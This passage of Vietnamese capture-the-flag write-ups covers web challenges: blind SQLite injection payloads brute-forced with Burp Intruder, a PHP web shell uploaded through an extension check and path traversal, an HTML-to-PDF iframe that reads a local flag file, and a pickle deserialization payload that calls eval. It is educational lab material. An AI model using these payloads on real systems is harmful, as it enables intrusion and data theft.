cứu khác nhau. Research thì ta sẽ thấy một số trang web có payload để exploit sqli blind. https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md #### EXPLOIT Dựa vào list payload ở PayloadAllThing phía trên ta sẽ lấy được một số thông tin từ database. Lấy tên table <mark>' or (SELECT hex(substr(tbl_name,<MODIFY_HERE1>,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('<MODIFY_HERE2>')-- </mark> Ta sẽ đi brute force 2 giá trị <MODIFY_HERE> ở trên <MODIFY_HERE1>: index (payload type: numbers) <MODIFY_HERE2>: kí tự của mỗi index (payload type: list( kí tự từ a-zA-Z0-9) ) Sử dụng tab Intruder của Burpsuite và attack type <mark>Cluster Bomb</mark> ![](https://hackmd.io/_uploads/B1hm2PwG6.png) Sau khi start attack và lọc request thì ta sẽ có table = users![](https://hackmd.io/_uploads/HyF7awvzT.png) Vì ở phần description đã cho ta biết columns là <mark>upw</mark> rồi ta sẽ exploit để lấy data luôn. payload: <mark>1' or (Select hex(substr(upw,<MODIFY_HERE1>,1)) from users limit 1 offset 0) = hex('<MODIFY_HERE2>')-- </mark> Tương tự ở trên <MODIFY_HERE1> sẽ là index, còn 2 sẽ là kí tự ta brute force. Vẫn sử dụng Intruder và attack type Cluster Bomb. Ta biết thêm Password contains [a-z0-9_] vì vậy list của <MODIFY_HERE2> sẽ từ a -> z, 0 -> 9 và sẽ có thêm dấu <mark>_</mark> Sau khi chạy và lọc ta được kết quả như sau:![](https://hackmd.io/_uploads/SkQL1dwzT.png) đăng nhập và lấy flag thoiiii. ![](https://hackmd.io/_uploads/BJ-jydwza.png) #### Another tips Ở đây do cookie đã cho chúng ta sẵn column rồi, nhưng nếu lỡ ta muốn coi thử có những column nào trong database thì làm thế nào? Ta vẫn sẽ sử dụng payload ở PayloadAllThings phía trên. <mark>1' or (SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='users')--</mark> nếu dùng payload trên thì nó sẽ báo lỗi :![](https://hackmd.io/_uploads/Syd9ldwMT.png) Có thể là do server không handle được với kí tự <mark>2b1</mark> và kí tự đó chính là dấu <mark>+</mark> :))) thay những chỗ <mark>2b1</mark> thành <mark>+</mark>vậy payload cuối cùng sẽ là: <mark>' or (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'`')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMA RY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~'),"`",""),<MODIFY_HERE1>,1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='users') = hex('<MODIFY_HERE2>')--</mark> Note: payload trên sẽ trả về một <mark>chuỗi</mark> những columns trong table nhé, không phải trả về từng column một đâu nghe. ## :beginner: Upload File ### Upload File Path Traversal ![](https://hackmd.io/_uploads/SJOD7k6GT.png) Một chall khá vui đến từ Cookie hân hoan. #### ANALYSIS ![](https://hackmd.io/_uploads/H1pcQJpGp.png) Trang web cho phép chúng ta upload file. Ở đây, thử upload file ảnh và file txt. Với file ảnh thì web sẽ trả về đường dẫn dẫn tới nơi chứa ảnh. ![](https://hackmd.io/_uploads/HJzmE1TMp.png) Ngược lại, nếu không phải là file ảnh thì web sẽ alert thông báo file không hợp lệ. ![](https://hackmd.io/_uploads/rknRQJpzp.png) #### BYPASS Website chỉ cho phép nhập file ảnh, nhưng thật chất nó chỉ check xem extension có phải file ảnh hay không. ![](https://hackmd.io/_uploads/BJf9Hy6f6.png) Sẽ ra sao nếu chúng ta có thể upload 1 file code vào hệ thống? Chúng ta sẽ có thể exploit RCE. #### EXPLOIT Dùng burpsuite bắt gói tin Upload trước khi nó gửi tới server. Sửa extension là <mark>.php</mark> và chèn payload vào. Ở đây có thể dùng <mark><?php system($_GET['cmd']); ?></mark> để lấy webshell. ![](https://hackmd.io/_uploads/SkF9vyaMp.png) Gửi payload và nhận thấy file của chúng ta ở trên response. ![](https://hackmd.io/_uploads/S1ffOk6Gp.png) Đi đến đường dẫn của file, nhưng chúng ta đã bị chặn. ![](https://hackmd.io/_uploads/SJ_r_J6Mp.png) Để bypass chỗ này hãy thoát khoải directory hiện tại bằng cách chèn tên file có chứa <mark>../</mark> ![](https://hackmd.io/_uploads/H1RrF1pfp.png) <mark>%2f</mark> là encode của <mark>/</mark> ![](https://hackmd.io/_uploads/rJB_t1af6.png) Đi đến đường dẫn và thấy không còn bị chặn. Và để thực thi thì thêm tham số <mark>cmd</mark> vào url. ![](https://hackmd.io/_uploads/HkPjF16GT.png) Và từ đấy ta có thể sử dụng lệnh <mark>cat</mark> để đọc flag. ![](https://hackmd.io/_uploads/B1jCKypza.png) #### NOTE Bài này có source code sẵn, bạn cũng có thể review source code để nhận ra waf của web chỉ check extension của file. Hoặc thử từ từ để nhận biết. ### HTML to PDF Bài này khi vào web ta được 1 cái đường link ![image.png](https://hackmd.io/_uploads/H1GZhCgm6.png) ta sẽ thử 1 vài cái payload xem link đó có gì tuy nhiên mình cũng có thể tự ngậm định rằng cái web này nó sẽ curl vào cái link mà mình điền ở trên để cho chắc thì mình sẽ test nó bằng cách so sánh 2 payload từ web và từ kali ![image.png](https://hackmd.io/_uploads/ryFE6Alm6.png) hmm vấn đề ở đây là khi bạn vô 1 cái web mà nó kiểu là giống với cái web mà họ đã cho bạn thì dường như bạn sẽ chỉ nhận về các hình ảnh nôm na như kiểu đánh lừa =)) Nên mình sẽ vô 1 cái github để xem thử ![image.png](https://hackmd.io/_uploads/SJn6TRgXa.png) ![image.png](https://hackmd.io/_uploads/SJPyACeXT.png) hehe đến đây thì có thể rõ ràng là cái link này nó sẽ vô cái web mà mình nhập vào nên mình nghĩ đến việc mình sẽ đẩy 1 cái payload trên webhook của mình ``` source=<html><iframe+src=”file:///etc/flag”+style=”width:100%;+height:100%” /></html> ``` ![image.png](https://hackmd.io/_uploads/SkDwC0eQT.png) okey sau khi gửi xong ta được 1 file pdf khá lạ ![image.png](https://hackmd.io/_uploads/HJDFRAl7p.png) dùng detach pdf ta sẽ get dc flag hehe :V ![image.png](https://hackmd.io/_uploads/rk6s00ema.png) ![image.png](https://hackmd.io/_uploads/BJtnARlQ6.png) cũng khá là eazy mỗi tội là lúc đầu mình có hơi lú 1 tí khi thử payload đây là payload mình nhặt được đâu đó trên github có 1 vài vấn đề mà có nhiều payload mình thử nhưng kh thành công :V ### Escape the session Bài này thì cũng đã có wu trên cookie nên là cũng kh có gì khó để exploit cơ mà mình sẽ đi theo góc nhìn logic của web mở đầu ta có /source nên ngại gì mà không xem thử ``` #!/usr/bin/env python3 from flask import Flask, request, render_template, Response import os, pickle, base64 from flask_limiter.util import get_remote_address from flask_limiter import Limiter app = Flask(__name__) app.secret_key = os.urandom(32) INFO = ['name', 'username', 'gender'] limiter = Limiter( get_remote_address, app=app, default_limits=["50000 per hour"], storage_uri="memory://", ) @app.route('/') def index(): return render_template('create_session.jinja2') @app.route('/create_session', methods=['GET', 'POST']) @limiter.limit("5/second") def create_session(): if request.method == 'GET': return render_template('create_session.jinja2') elif request.method == 'POST': info = {} for _ in INFO: info[_] = request.form.get(_, '') try: data = base64.b64encode(pickle.dumps(info)).decode('utf8') except: data = "Invalid data!" return render_template('create_session.jinja2', data=data) @app.route('/check_session', methods=['GET', 'POST']) @limiter.limit("5/second") def check_session(): if request.method == 'GET': return render_template('check_session.jinja2') elif request.method == 'POST': session = request.form.get('session', '') try: info = pickle.loads(base64.b64decode(session)) except: info = "Invalid session!" return render_template('check_session.jinja2', info=info) @app.route('/source') def source(): return Response(open(__file__).read(), mimetype="text/plain") app.run(host='0.0.0.0', port=1337) ``` hàm check session chính là hàm mà ta cần lưu ý vì khi nhìn vào hàm đó ta có thể thấy rõ là hàm sẽ đem input của chúng ta vào và thực hiện data = base64.b64encode(pickle.dumps(in4)).decode('utf8') sau đó gender ra 1 cái session Mình cũng đã code lại xem cách hoạt động của hàm ``` import pickle import base64 # name =input("what is your name: ") # username= input("username: ") # gender=input("gender: ") INFO=["name","username","gender"] in4={} for i in INFO: inp = input(f'enter your {i}: ') in4[i] = inp print(in4) try: data = base64.b64encode(pickle.dumps(in4)).decode('utf8') except: data = "Invalid data!" print(data) ``` sau khi run ta được 1 session ![image.png](https://hackmd.io/_uploads/Bkpe3Jz76.png) vậy idea ở đây là gì đây là một dạng deserialize có nghĩa là khi các untrusted data được nhập vào Pickle được sử dụng để thực hiện chuyển đổi các cấu trúc đối tượng Python sang một dạng byte để có thể được lưu trữ trên ổ đĩa hoặc được gửi qua mạng. Và quá trình này được gọi là serialize. Pickle serialize 1 đối tượng bằng cách gọi hàm pickle.dumps(). Ngược lại, nếu muốn chuyển từ một chuỗi byte trở lại đối tượng, chúng ta sử dụng hàm pickle.loads(), quá trình này gọi là deserialize. nói nôm na là ta có thể truyền vào một object và nó sẽ được deserialize mà không qua một cách sàng lọc filter đầu vào nào cả #### payload ``` import pickle import base64 class Payload: def __reduce__(self): command = "open('/flag.txt').read()" return (eval, (command,)) payload = {'name': Payload()} print(base64.b64encode(pickle.dumps(payload))) ```